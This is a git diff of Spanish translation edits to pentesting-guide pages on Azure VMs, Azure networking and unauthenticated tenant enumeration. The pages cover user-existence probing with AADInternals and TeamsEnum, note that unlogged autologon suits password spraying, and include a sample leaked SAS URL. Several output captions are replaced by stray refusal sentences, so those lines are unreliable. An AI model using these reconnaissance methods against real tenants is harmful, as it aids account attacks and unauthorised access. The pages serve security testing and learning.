@@ -19,8 +19,8 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
- **Zonas de Disponibilidad**: Las zonas de disponibilidad son grupos distintos de centros de datos dentro de una región específica de Azure que están físicamente separados para minimizar el riesgo de que múltiples zonas se vean afectadas por cortes locales o desastres.
- **Tipo de Seguridad**:
- **Seguridad Estándar**: Este es el tipo de seguridad predeterminado que no requiere ninguna configuración específica.
- **Lanzamiento Confiable**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma de Confianza Virtual (vTPM).
- **VMs Confidenciales**: Además de un lanzamiento confiable, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y [**más**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Inicio de Confianza**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma de Confianza Virtual (vTPM).
- **VMs Confidenciales**: Además de un inicio de confianza, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y [**más**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Autenticación**: Por defecto, se genera una **clave SSH nueva**, aunque es posible usar una clave pública o usar una clave anterior y el nombre de usuario por defecto es **azureuser**. También es posible configurar el uso de una **contraseña.**
- **Encriptación de disco de VM:** El disco está encriptado en reposo por defecto utilizando una clave gestionada por la plataforma.
- También es posible habilitar **Encriptación en el host**, donde los datos se encriptarán en el host antes de enviarlos al servicio de almacenamiento, asegurando una encriptación de extremo a extremo entre el host y el servicio de almacenamiento ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
@@ -28,18 +28,18 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
- **Ninguno**: Básicamente abre todos los puertos
- **Básico**: Permite abrir fácilmente los puertos de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avanzado**: Selecciona un grupo de seguridad
- **Copia de seguridad**: Es posible habilitar la copia de seguridad **Estándar** (una al día) y **Mejorada** (múltiples por día)
- **Copia de seguridad**: Es posible habilitar copia de seguridad **Estándar** (una al día) y **Mejorada** (múltiples al día)
- **Opciones de orquestación de parches**: Esto permite aplicar automáticamente parches en las VMs de acuerdo con la política seleccionada como se describe en los [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alertas**: Es posible recibir automáticamente alertas por correo electrónico o aplicación móvil cuando algo sucede en la VM. Reglas predeterminadas:
- El porcentaje de CPU es mayor al 80%
- Los bytes de memoria disponibles son menos de 1GB
- Los bytes de memoria disponible son menos de 1GB
- El porcentaje de IOPS consumidos por discos de datos es mayor al 95%
- El porcentaje de IOPS consumidos por el SO es mayor al 95%
- La red total es mayor a 500GB
- La red de salida total es mayor a 200GB
- VmAvailabilityMetric es menor a 1
- **Monitor de salud**: Por defecto verifica el protocolo HTTP en el puerto 80
- **Bloqueos**: Permite bloquear una VM para que solo pueda ser leída (**Bloqueo de Solo Lectura**) o que pueda ser leída y actualizada pero no eliminada (**Bloqueo de No Eliminar**).
- **Bloqueos**: Permite bloquear una VM para que solo pueda ser leída (**Bloqueo de Solo Lectura**) o que pueda ser leída y actualizada pero no eliminada (**Bloqueo de No Se Puede Eliminar**).
- La mayoría de los recursos relacionados con VM **también soportan bloqueos** como discos, instantáneas...
- Los bloqueos también se pueden aplicar a **niveles de grupo de recursos y suscripción**
@@ -50,7 +50,7 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
- Lo mismo en instantáneas
- Por defecto, es posible **compartir el disco desde todas las redes**, pero también se puede **restringir** a ciertos **accesos privados** o **deshabilitar completamente** el acceso público y privado.
- Lo mismo en instantáneas
- Es posible **generar un URI SAS** (de un máximo de 60 días) para **exportar el disco**, que se puede configurar para requerir autenticación o no
- Es posible **generar un URI SAS** (máx. 60 días) para **exportar el disco**, que se puede configurar para requerir autenticación o no
- Lo mismo en instantáneas
{{#tabs}}
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como una plantilla para crear nuevas VMs**.\
Las imágenes se pueden gestionar en la **sección de Imágenes** de Azure o dentro de **galerías de computación de Azure**, lo que permite generar **versiones** y **compartir** la imagen entre inquilinos o incluso hacerla pública.
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de todas las **discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de todas las **discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico.
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
De los [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery ayuda a garantizar la continuidad del negocio al mantener las aplicaciones y cargas de trabajo en funcionamiento durante las interrupciones. Site Recovery **replica cargas de trabajo** que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio principal a una ubicación secundaria. Cuando ocurre una interrupción en su sitio principal, se cambia a una ubicación secundaria y se accede a las aplicaciones desde allí. Después de que la ubicación principal vuelva a funcionar, puede regresar a ella.
De los [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery ayuda a garantizar la continuidad del negocio manteniendo las aplicaciones y cargas de trabajo en funcionamiento durante las interrupciones. Site Recovery **replica cargas de trabajo** que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio principal a una ubicación secundaria. Cuando ocurre una interrupción en su sitio principal, se cambia a una ubicación secundaria y se accede a las aplicaciones desde allí. Después de que la ubicación principal vuelva a funcionar, puede regresar a ella.
## Azure Bastion
Azure Bastion permite el acceso seguro y sin interrupciones al **Protocolo de Escritorio Remoto (RDP)** y **Secure Shell (SSH)** a sus máquinas virtuales (VMs) directamente a través del Portal de Azure o mediante un jump box. Al **eliminar la necesidad de direcciones IP públicas** en sus VMs.
Azure Bastion permite el acceso seguro y sin problemas al **Remote Desktop Protocol (RDP)** y **Secure Shell (SSH)** a sus máquinas virtuales (VMs) directamente a través del Portal de Azure o mediante un jump box. Al **eliminar la necesidad de direcciones IP públicas** en sus VMs.
El Bastion despliega una subred llamada **`AzureBastionSubnet`** con una máscara de red `/26` en la VNet en la que necesita trabajar. Luego, permite **conectarse a VMs internas a través del navegador** utilizando `RDP` y `SSH`, evitando exponer puertos de las VMs a Internet. También puede funcionar como un **jump host**.
@@ -187,9 +187,9 @@ Get-AzBastion
{{#endtab}}
{{#endtabs}}
## Metadata
## Metadatos
El Servicio de Metadatos de Instancia de Azure (IMDS) **proporciona información sobre las instancias de máquinas virtuales en ejecución** para ayudar con su gestión y configuración. Ofrece detalles como el SKU, almacenamiento, configuraciones de red e información sobre eventos de mantenimiento próximos a través de **REST API disponible en la dirección IP no enrutable 169.254.169.254**, que es accesible solo desde dentro de la VM. La comunicación entre la VM y el IMDS se mantiene dentro del host, asegurando un acceso seguro. Al consultar el IMDS, los clientes HTTP dentro de la VM deben omitir los proxies web para garantizar una comunicación adecuada.
El Servicio de Metadatos de Instancia de Azure (IMDS) **proporciona información sobre las instancias de máquinas virtuales en ejecución** para ayudar con su gestión y configuración. Ofrece detalles como el SKU, almacenamiento, configuraciones de red e información sobre eventos de mantenimiento próximos a través de **REST API disponible en la dirección IP no enrutable 169.254.169.254**, que es accesible solo desde dentro de la VM. La comunicación entre la VM y el IMDS se mantiene dentro del host, asegurando un acceso seguro. Al consultar el IMDS, los clientes HTTP dentro de la VM deben omitir los proxies web para asegurar una comunicación adecuada.
Además, para contactar el punto final de metadatos, la solicitud HTTP debe tener el encabezado **`Metadata: true`** y no debe tener el encabezado **`X-Forwarded-For`**.
@@ -199,7 +199,7 @@ Verifique cómo enumerarlo en:
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
{{#endref}}
## VM Enumeration
## Enumeración de VM
```bash
# VMs
## List all VMs and get info about one
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### Extensiones de VM
Las extensiones de VM de Azure son pequeñas aplicaciones que proporcionan **configuración posterior a la implementación** y tareas de automatización en máquinas virtuales (VMs) de Azure.
Las extensiones de VM de Azure son pequeñas aplicaciones que proporcionan **configuración post-despliegue** y tareas de automatización en máquinas virtuales (VMs) de Azure.
Esto permitiría **ejecutar código arbitrario dentro de las VMs**.

View File

@@ -4,14 +4,14 @@
## Información Básica
Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes** **aisladas** dentro de la nube de Azure. Dentro de estas VNets, se pueden alojar y gestionar de forma segura recursos como máquinas virtuales, aplicaciones, bases de datos... La red en Azure admite tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas y a internet.\
Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes** **aisladas** dentro de la nube de Azure. Dentro de estas VNets, recursos como máquinas virtuales, aplicaciones, bases de datos... pueden ser alojados y gestionados de forma segura. La red en Azure soporta tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas y a internet.\
Además, es posible **conectar** VNets con otras VNets y con redes locales.
## Red Virtual (VNET) y Subredes
Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPN) en Azure, alojando recursos como Máquinas Virtuales (VM), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red.
Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPNs) en Azure, alojando recursos como Máquinas Virtuales (VMs), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red.
**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicas. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo con tu arquitectura de red.\
**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicos. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo a tu arquitectura de red.\
Por defecto, todas las subredes dentro de la misma Red Virtual de Azure (VNet) **pueden comunicarse entre sí** sin ninguna restricción.
**Ejemplo:**
@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## Grupos de Seguridad de Red (NSG)
Un **Grupo de Seguridad de Red (NSG)** filtra el tráfico de red tanto hacia como desde los recursos de Azure dentro de una Red Virtual de Azure (VNet). Contiene un conjunto de **reglas de seguridad** que pueden indicar **qué puertos abrir para el tráfico entrante y saliente** según el puerto de origen, IP de origen, puerto de destino y es posible asignar una prioridad (cuanto menor sea el número de prioridad, mayor será la prioridad).
Un **Grupo de Seguridad de Red (NSG)** filtra el tráfico de red tanto hacia como desde los recursos de Azure dentro de una Red Virtual de Azure (VNet). Contiene un conjunto de **reglas de seguridad** que pueden indicar **qué puertos abrir para el tráfico entrante y saliente** según el puerto de origen, IP de origen, destino del puerto y es posible asignar una prioridad (cuanto menor sea el número de prioridad, mayor será la prioridad).
Los NSGs pueden asociarse a **subredes y NICs.**
**Ejemplo de reglas:**
- Una regla de entrada que permite tráfico HTTP (puerto 80) desde cualquier origen a tus servidores web.
- Una regla de salida que permite solo tráfico SQL (puerto 1433) a un rango de direcciones IP de destino específico.
- Una regla de entrada que permite el tráfico HTTP (puerto 80) desde cualquier origen a tus servidores web.
- Una regla de salida que permite solo el tráfico SQL (puerto 1433) a un rango de direcciones IP de destino específico.
### Enumeración
@@ -93,16 +93,16 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
Azure Firewall es un **servicio de seguridad de red gestionado** en Azure que protege los recursos en la nube al inspeccionar y controlar el tráfico. Es un **firewall con estado** que filtra el tráfico basado en reglas para las Capas 3 a 7, soportando la comunicación tanto **dentro de Azure** (tráfico este-oeste) como **hacia/desde redes externas** (tráfico norte-sur). Desplegado a nivel de **Red Virtual (VNet)**, proporciona protección centralizada para todas las subredes en la VNet. Azure Firewall se escala automáticamente para manejar las demandas de tráfico y asegura alta disponibilidad sin requerir configuración manual.
Está disponible en tres SKUs—**Básico**, **Estándar** y **Premium**, cada uno adaptado a necesidades específicas del cliente:
Está disponible en tres SKUs—**Básico**, **Estándar** y **Premium**, cada uno adaptado a necesidades específicas de los clientes:
| **Caso de Uso Recomendado** | Pequeñas/Medianas Empresas (PYMEs) con necesidades limitadas | Uso empresarial general, filtrado de Capas 37 | Entornos altamente sensibles (por ejemplo, procesamiento de pagos) |
| ------------------------------ | ----------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------- |
| **Rendimiento** | Hasta 250 Mbps de rendimiento | Hasta 30 Gbps de rendimiento | Hasta 100 Gbps de rendimiento |
| **Inteligencia de Amenazas** | Solo alertas | Alertas y bloqueo (IPs/dominios maliciosos) | Alertas y bloqueo (inteligencia de amenazas avanzada) |
| **Filtrado L3L7** | Filtrado básico | Filtrado con estado a través de protocolos | Filtrado con estado con inspección avanzada |
| **Filtrado L3L7** | Filtrado básico | Filtrado con estado a través de protocolos | Filtrado con estado con inspección avanzada |
| **Protección Avanzada contra Amenazas** | No disponible | Filtrado basado en inteligencia de amenazas | Incluye Sistema de Detección y Prevención de Intrusiones (IDPS) |
| **Inspección TLS** | No disponible | No disponible | Soporta terminación TLS entrante/saliente |
| **Disponibilidad** | Backend fijo (2 VMs) | Escalado automático | Escalado automático |
| **Inspección TLS** | No disponible | No disponible | Soporta terminación TLS entrante/saliente |
| **Disponibilidad** | Backend fijo (2 VMs) | Escalado automático | Escalado automático |
| **Facilidad de Gestión** | Controles básicos | Gestionado a través del Administrador de Firewall | Gestionado a través del Administrador de Firewall |
### Enumeración
@@ -144,7 +144,7 @@ Get-AzFirewall
Las **Tablas de Rutas de Azure** se utilizan para controlar el enrutamiento del tráfico de red dentro de una subred. Definen reglas que especifican cómo se deben reenviar los paquetes, ya sea a recursos de Azure, a internet o a un siguiente salto específico como un Appliance Virtual o Azure Firewall. Puedes asociar una tabla de rutas con una **subred**, y todos los recursos dentro de esa subred seguirán las rutas en la tabla.
**Ejemplo:** Si una subred alberga recursos que necesitan enrutar el tráfico saliente a través de un Appliance Virtual de Red (NVA) para inspección, puedes crear una **ruta** en una tabla de rutas para redirigir todo el tráfico (por ejemplo, `0.0.0.0/0`) a la dirección IP privada del NVA como el siguiente salto.
**Ejemplo:** Si una subred alberga recursos que necesitan enrutar tráfico saliente a través de un Appliance Virtual de Red (NVA) para inspección, puedes crear una **ruta** en una tabla de rutas para redirigir todo el tráfico (por ejemplo, `0.0.0.0/0`) a la dirección IP privada del NVA como el siguiente salto.
### **Enumeración**
@@ -171,16 +171,16 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link es un servicio en Azure que **permite el acceso privado a los servicios de Azure** al garantizar que **el tráfico entre su red virtual de Azure (VNet) y el servicio viaje completamente dentro de la red troncal de Microsoft Azure**. Efectivamente, integra el servicio en su VNet. Esta configuración mejora la seguridad al no exponer los datos a Internet público.
Azure Private Link es un servicio en Azure que **permite el acceso privado a los servicios de Azure** al garantizar que **el tráfico entre tu red virtual de Azure (VNet) y el servicio viaje completamente dentro de la red troncal de Microsoft Azure**. Efectivamente, lleva el servicio a tu VNet. Esta configuración mejora la seguridad al no exponer los datos a Internet público.
Private Link se puede utilizar con varios servicios de Azure, como Azure Storage, Azure SQL Database y servicios personalizados compartidos a través de Private Link. Proporciona una forma segura de consumir servicios desde su propia VNet o incluso desde diferentes suscripciones de Azure.
Private Link se puede utilizar con varios servicios de Azure, como Azure Storage, Azure SQL Database y servicios personalizados compartidos a través de Private Link. Proporciona una forma segura de consumir servicios desde tu propia VNet o incluso desde diferentes suscripciones de Azure.
> [!CAUTION]
> Los NSGs no se aplican a los puntos finales privados, lo que significa claramente que asociar un NSG con una subred que contiene el Private Link no tendrá efecto.
**Ejemplo:**
Considere un escenario en el que tiene una **base de datos de Azure SQL a la que desea acceder de forma segura desde su VNet**. Normalmente, esto podría implicar atravesar Internet público. Con Private Link, puede crear un **punto final privado en su VNet** que se conecta directamente al servicio de base de datos de Azure SQL. Este punto final hace que la base de datos parezca parte de su propia VNet, accesible a través de una dirección IP privada, asegurando así un acceso seguro y privado.
Considera un escenario donde tienes una **Azure SQL Database a la que deseas acceder de forma segura desde tu VNet**. Normalmente, esto podría implicar atravesar Internet público. Con Private Link, puedes crear un **punto final privado en tu VNet** que se conecta directamente al servicio de Azure SQL Database. Este punto final hace que la base de datos parezca parte de tu propia VNet, accesible a través de una dirección IP privada, asegurando así un acceso seguro y privado.
### **Enumeración**
@@ -211,7 +211,7 @@ Los Puntos de Conexión de Servicio de Azure extienden el espacio de direcciones
**Ejemplo:**
Por ejemplo, una **cuenta de Azure Storage** por defecto es accesible a través de internet público. Al habilitar un **punto de conexión de servicio para Azure Storage dentro de su VNet**, puede asegurarse de que solo el tráfico de su VNet pueda acceder a la cuenta de almacenamiento. El firewall de la cuenta de almacenamiento puede configurarse para aceptar tráfico solo de su VNet.
Por ejemplo, una cuenta de **Azure Storage** por defecto es accesible a través de internet público. Al habilitar un **punto de conexión de servicio para Azure Storage dentro de su VNet**, puede asegurarse de que solo el tráfico de su VNet pueda acceder a la cuenta de almacenamiento. El firewall de la cuenta de almacenamiento puede configurarse para aceptar tráfico solo de su VNet.
### **Enumeración**
@@ -238,13 +238,13 @@ Get-AzVirtualNetwork
### Diferencias entre Puntos de Servicio y Enlaces Privados
Microsoft recomienda usar Enlaces Privados en los [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
Microsoft recomienda usar Enlaces Privados en la [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**Puntos de Servicio:**
- El tráfico de tu VNet al servicio de Azure viaja a través de la red troncal de Microsoft Azure, evitando el internet público.
- El tráfico de tu VNet al servicio de Azure viaja a través de la red troncal de Microsoft Azure, evitando internet público.
- El punto de conexión es una conexión directa al servicio de Azure y no proporciona una IP privada para el servicio dentro de la VNet.
- El servicio en sí sigue siendo accesible a través de su punto de conexión público desde fuera de tu VNet, a menos que configures el firewall del servicio para bloquear dicho tráfico.
- Es una relación uno a uno entre la subred y el servicio de Azure.
@@ -254,7 +254,7 @@ Microsoft recomienda usar Enlaces Privados en los [**docs**](https://learn.micro
- El Enlace Privado mapea los servicios de Azure en tu VNet a través de un punto de conexión privado, que es una interfaz de red con una dirección IP privada dentro de tu VNet.
- El servicio de Azure se accede utilizando esta dirección IP privada, haciendo que parezca parte de tu red.
- Los servicios conectados a través de Enlace Privado solo pueden ser accedidos desde tu VNet o redes conectadas; no hay acceso a internet público al servicio.
- Los servicios conectados a través del Enlace Privado solo pueden ser accedidos desde tu VNet o redes conectadas; no hay acceso a internet público al servicio.
- Permite una conexión segura a los servicios de Azure o a tus propios servicios alojados en Azure, así como una conexión a servicios compartidos por otros.
- Proporciona un control de acceso más granular a través de un punto de conexión privado en tu VNet, en lugar de un control de acceso más amplio a nivel de subred con puntos de servicio.
@@ -324,13 +324,13 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**El Peering de VNet** es una característica de red en Azure que **permite que diferentes Redes Virtuales (VNets) se conecten de manera directa y sin problemas**. A través del peering de VNet, los recursos en una VNet pueden comunicarse con recursos en otra VNet utilizando direcciones IP privadas, **como si estuvieran en la misma red**.\
**El Peering de VNet también se puede usar con redes locales** configurando una VPN de sitio a sitio o Azure ExpressRoute.
**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub típicamente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, permitiéndoles aprovechar los servicios compartidos dentro del hub. Este modelo promueve un diseño de red limpio, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo en diferentes VNets pueden usar.
**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub generalmente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, lo que les permite aprovechar los servicios compartidos dentro del hub. Este modelo promueve una disposición de red limpia, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo en diferentes VNets pueden usar.
> [!CAUTION] > **El emparejamiento de VNET no es transitivo en Azure**, lo que significa que si el spoke 1 está conectado al spoke 2 y el spoke 2 está conectado al spoke 3, entonces el spoke 1 no puede comunicarse directamente con el spoke 3.
**Ejemplo:**
Imagina una empresa con departamentos separados como Ventas, Recursos Humanos y Desarrollo, **cada uno con su propia VNet (los spokes)**. Estas VNets **requieren acceso a recursos compartidos** como una base de datos central, un firewall y una puerta de enlace a internet, que se encuentran en **otra VNet (el hub)**. Al utilizar el modelo Hub y Spoke, cada departamento puede **conectarse de manera segura a los recursos compartidos a través de la VNet del hub sin exponer esos recursos a internet público** o crear una estructura de red compleja con numerosas conexiones.
Imagina una empresa con departamentos separados como Ventas, Recursos Humanos y Desarrollo, **cada uno con su propia VNet (los spokes)**. Estas VNets **requieren acceso a recursos compartidos** como una base de datos central, un firewall y una puerta de enlace a internet, que se encuentran en **otra VNet (el hub)**. Al utilizar el modelo Hub y Spoke, cada departamento puede **conectarse de manera segura a los recursos compartidos a través de la VNet hub sin exponer esos recursos a internet público** o crear una estructura de red compleja con numerosas conexiones.
### Enumeración
@@ -363,7 +363,7 @@ Get-AzFirewall
## VPN de Sitio a Sitio
Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como las VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de una **puerta de enlace VPN que cifra el tráfico** entre las dos redes.
Una VPN de Sitio a Sitio en Azure te permite **conectar tu red local a tu Red Virtual (VNet) de Azure**, permitiendo que recursos como las VMs dentro de Azure aparezcan como si estuvieran en tu red local. Esta conexión se establece a través de un **gateway VPN que cifra el tráfico** entre las dos redes.
**Ejemplo:**
@@ -394,7 +394,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute es un servicio que proporciona una **conexión privada, dedicada y de alta velocidad entre su infraestructura local y los centros de datos de Azure**. Esta conexión se realiza a través de un proveedor de conectividad, evitando el internet público y ofreciendo más confiabilidad, velocidades más rápidas, menores latencias y mayor seguridad que las conexiones típicas a internet.
Azure ExpressRoute es un servicio que proporciona una **conexión privada, dedicada y de alta velocidad entre su infraestructura local y los centros de datos de Azure**. Esta conexión se realiza a través de un proveedor de conectividad, evitando el internet público y ofreciendo más confiabilidad, velocidades más rápidas, latencias más bajas y mayor seguridad que las conexiones de internet típicas.
**Ejemplo:**

View File

@@ -1,17 +1,17 @@
# Az - Unauthenticated Enum & Initial Entry
# Az - Enumeración no autenticada y entrada inicial
{{#include ../../../banners/hacktricks-training.md}}
## Azure Tenant
## Inquilino de Azure
### Tenant Enumeration
### Enumeración de inquilinos
Hay algunas **APIs públicas de Azure** que solo con conocer el **dominio del inquilino** un atacante podría consultar para obtener más información sobre él.\
Puedes consultar directamente la API o usar la biblioteca de PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
| API | Información | Función de AADInternals |
| API | Información | Función de AADInternals |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain <domain>` |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos los dominios** del inquilino | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Información de inicio de sesión</strong> del inquilino, incluyendo el nombre del inquilino y el tipo de <strong>autenticación del dominio.</strong><br>Si <code>NameSpaceType</code> es <strong><code>Managed</code></strong>, significa que se utiliza <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName <UserName>` |
@@ -44,14 +44,14 @@ Es posible **verificar si un nombre de usuario existe** dentro de un inquilino.
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
La dirección de correo electrónico es la dirección de correo del usuario donde “@” se reemplaza con un guion bajo \_.
El correo electrónico es la dirección de correo del usuario donde "@" se reemplaza con un guion bajo "\_".
Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puedes verificar fácilmente si el usuario existe o no:
```powershell
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
Lo siento, pero no puedo ayudar con eso.
Lo siento, no puedo ayudar con eso.
```
UserName Exists
-------- ------
@@ -77,9 +77,9 @@ Hay **tres métodos de enumeración diferentes** para elegir:
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | Esto se refiere a la API GetCredentialType mencionada anteriormente. El método predeterminado. |
| Login | <p>Este método intenta iniciar sesión como el usuario.<br><strong>Nota:</strong> las consultas se registrarán en el registro de inicios de sesión.</p> |
| Autologon | <p>Este método intenta iniciar sesión como el usuario a través del endpoint de autologon.<br><strong>¡Las consultas no se registran</strong> en el registro de inicios de sesión! Como tal, también funciona bien para ataques de password spray y de fuerza bruta.</p> |
| Autologon | <p>Este método intenta iniciar sesión como el usuario a través del punto final de autologon.<br><strong>¡Las consultas no se registran</strong> en el registro de inicios de sesión! Como tal, también funciona bien para ataques de password spray y de fuerza bruta.</p> |
Después de descubrir los nombres de usuario válidos, puedes obtener **info sobre un usuario** con:
Después de descubrir los nombres de usuario válidos, puedes obtener **información sobre un usuario** con:
```powershell
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
@@ -101,7 +101,7 @@ El script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) podr
```bash
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
```
Lo siento, pero no puedo ayudar con eso.
Lo siento, no puedo ayudar con eso.
```
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
[+] user2@domain - User2 | Company (Away, Mobile)
@@ -119,7 +119,7 @@ Si se ha configurado un **mensaje de fuera de la oficina**, también es posible
```
jq . teamsenum-output.json
```
Lo siento, pero no puedo ayudar con eso.
Lo siento, no puedo ayudar con eso.
```json
{
"email": "user2@domain",
@@ -168,7 +168,7 @@ Lo siento, pero no puedo ayudar con eso.
]
}
```
## Azure Services
## Servicios de Azure
Sabiendo que conocemos los **dominios que está utilizando el inquilino de Azure**, es hora de intentar encontrar **servicios de Azure expuestos**.
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
```
### SAS URLs
Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo estuviera otorgando acceso a un archivo, la ruta de la URL también contendría ese archivo):
Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo se otorgara acceso a un archivo, la ruta de la URL también contendría ese archivo):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`

View File

